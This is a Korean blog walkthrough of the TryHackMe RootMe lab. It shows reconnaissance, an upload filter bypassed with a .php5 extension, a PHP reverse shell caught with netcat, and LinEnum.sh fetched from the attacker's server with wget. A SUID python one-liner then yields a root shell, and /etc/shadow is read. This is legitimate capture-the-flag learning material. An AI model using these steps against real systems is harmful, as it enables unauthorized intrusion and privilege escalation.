[TryHackMe] - RootMe | walkthrough

C6rt4·2023년 4월 8일
0

Try Hack Me

목록 보기
1/2

  1. THM의 RootMe를 풀어보자

  1. Start Machine을 누르고, 1분동안 기다리면 IP Address가 표시된다.

Add 1hour을 눌러서 1시간을 미리 더 채워두면 좋다.

  1. subl README.md를 통해 정보수집 정리를 해두면 유용하다.

본인만의 편한 방식으로 정리해주면 된다.

  1. nmap 디렉토리를 추가로 생성해주었고, 해당 디렉토리에 스캐닝을 저장할 것이다.

  1. cd .. 커맨드로 이전 디렉토리로 이전후, nmap 스캐닝을 해주었다.

해당 경로로 nmap 스캐닝 결과가 저장되었음을 알 수 있다.

  1. nmap 스캐닝 결과를 열어보자

nmap 스캐닝 결과를 열어본 것이다.

  1. 80번 포트가 열려있는것으로 보아 웹 사이트가 돌아가는 중일 것이다.

ip를 입력하였더니 해당 화면이 나온다.

  1. gobuster를 통해 웹 사이트중 어떤 파일들이 있는지 살펴보았다.

눈에 띄는게 2가지 보인다. /panel 그리고 /uploads이다.

  1. /panel 파일 경로이다. 어떠한 형태를 업로드 하는 형식으로 보인다.

  1. /uploads 파일경로이다. 아마 /pnael에서 특정 파일을 업로드 하면, 여기에 보일것 같다.

  1. 유명한 reverse-shell을 사용하여 해결할 것이다.

  1. Code를 눌러서 Download ZIP을 눌러서 파일을 다운받아준다.

  1. 다운로드 디렉토리에 php 리버스 쉘이 zip형태로 다운받아져 있다.

unzip을 통해 압축을 해제 후, ls해보면 압축이 풀리고 새로운 디렉토리가 생겨난 것을 확인 해볼 수 있다.

  1. 새로 생겨난 폴더로 이동해주고, 살펴보면 형광녹색으로 보이는 것들은 실행할 수 있는 파일이라는 의미이다.

  1. 나는 gedit로 해당 코드를 열었다. 어떤것으로 열어서 수정을 하는지는 본인 선택이다.

  1. php 리버스 쉘 코드를 열어보면 49번 줄에 ip부분에서 주석을 보면 바꾸라고 되어있다.

본인의 ip주소를 적으면 된다.

왜냐면 공격자의 ip를 적어야 업로드를 시켰을때 해당 ip로 쉘이 오기 때문이다.

  1. 본인의 ip를 볼려면 ip a를 입력하면 된다.

그러면 tun0로 뜨는 inet옆에 있는 숫자가 본인의 ip주소인 것이다.

  1. 아까 접속했었던 웹 사이트로 가서 브라우저를 눌러주고,

  1. File Upload에서 아까 수정했던 php 리버스 쉘을 선택해준다.

  1. 그리고 Upload를 눌러준다.

  1. 그러면 딱 봐도 안된다고 뜨는 것 같아 보인다.

여기서 우회 방법을 사용할 것이다.
php는 php5로 확장자를 수정해도 php코드로 잘 동작한다.
단지 확장자를 속이는 것이다.

  1. 해당 경로로 이동해서 이름 변경을 눌러준뒤, 확장자를 php5로 바꿔준다.

  1. 아까 파일 업로드로 돌아가서 변경한 확장자를 선택 후 업로드를 해준다.

  1. 잘 동작한걸 볼 수 있다.

  1. /uploads 파일 웹 사이트로 가보면 업로드 했던 php리버스 쉘 코드가 올라와 있다.

  1. nc -lvnp 1234 포트를 열고,

  1. 해당 파일을 클릭하면,

  1. 코드가 잘 작동하여, 타겟의 쉘을 휙득한 것을 볼 수 있다.

  1. whoami와 id를 통해 현재 상태를 확인해볼 수 있다.

  1. python3 --version을 통해 파이썬의 버전이 뭔지 확인 해보았다.
  1. pty를 얻는 작업이다. python3 -c 'import pty;pty.spawn("/bin/bash")'를 하면 쉘 pty를 얻을 수 있다.

이제 root로 권한 상승을 해볼 것이다.

권한 상승을 할때 사용할 스크립트는 linenum.sh github이다.

  1. 구글링 후 해당 깃헙 페이지를 접속하면 된다.

  1. 접속 후, Raw를 눌러주면 된다.

  1. 해당 부분 링크를 Copy하면 된다.

  1. wget으로 다운받아 주고, ls -alh를 통해 LinEnum.sh가 있는걸 확인할 수 있다.

  1. 파이썬으로 웹 서버를 열어준다.

  1. 타겟 쉘 화면으로 넘어와서, cd /dev/shm으로 경로를 이동해준다.

/dev/shm 경로는 램에 있는 디렉토리라서 컴퓨터가 꺼지면 자동으로 꺼지기 때문에, 작전보안에 유용하다.

  1. wget으로 http:// [공격자 ip] : 아까 python 웹 서버 열때 입력한 포트번호 3333/LinEnum.sh 로 공격자의 컴퓨터에 있는 LinEnum.sh를 가져오겠다. 라는 코드이다.

공격자 컴퓨터에도 로그가 남아있는걸 볼 수 있다.

타겟 박스가 LinEnum.sh를 가져갔다. 라고 로그가 뜬다.

  1. 타겟 쉘에서 실제로 LinEnum.sh가 있는지 확인 해보았다.

LinEnum.sh는 권한상승을 하는데 있어서 정보수집을 도와주는 스크립트이다.

  1. chmod로 권한을 부여해준다.

  1. 실행을 해주면 된다.

./LinEnum.sh를 입력하면 이런 형태로 실행이 된다.

그러면 정보수집을 하면서 타겟 박스에서 권한상승을 할 수 있도록 다양한 정보들을 제공한다.

  1. 그중에서 SUID가 눈에 띈다.

  1. GTFOBins의 도움을 받을 것이다.

특정한 바이너리 혹은 특정한 프로그램에 SUID가 걸려있을 때, 어떻게 하면 악용할 수 있는지에 대해서 알려준다.

검색란에 python을 입력하면 SUID가 있는걸 볼 수 있다.

공격코드가 나와있는걸 볼 수 있다.

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

그대로 복사하여 타겟 쉘에서 실행해주면 된다.

  1. 그대로 코드를 실행하면 $모양이 아닌 # 모양의 쉘이 뜬다.

id와 whoami로 살펴보면 root shell임을 알 수 있다.

  1. cat /etc/shadow도 읽을 수 있다.

  1. root.txt와 user.txt 둘다 찾을 수 있다.

RootMe 끝!

https://youtube.com/@Certa6

제 유튜브 채널입니다.
도움이 됐다면, 구독 부탁합니다!
주변에 제 블로그, 유튜브를 알려주시면 감사하겠습니다~! :)

Thank you for watching the blog.
Please subscribe! I would appreciate it if you could share the blog around you.

profile
Hi, I am 2th year passionate student in the area of cyber security. I’m currently learning Offensive Security/Penetration Testing and would like to break into the field of cyber security. 07/10/2023 join Air Force "CERT" KR Air Force.

0개의 댓글

관련 채용 정보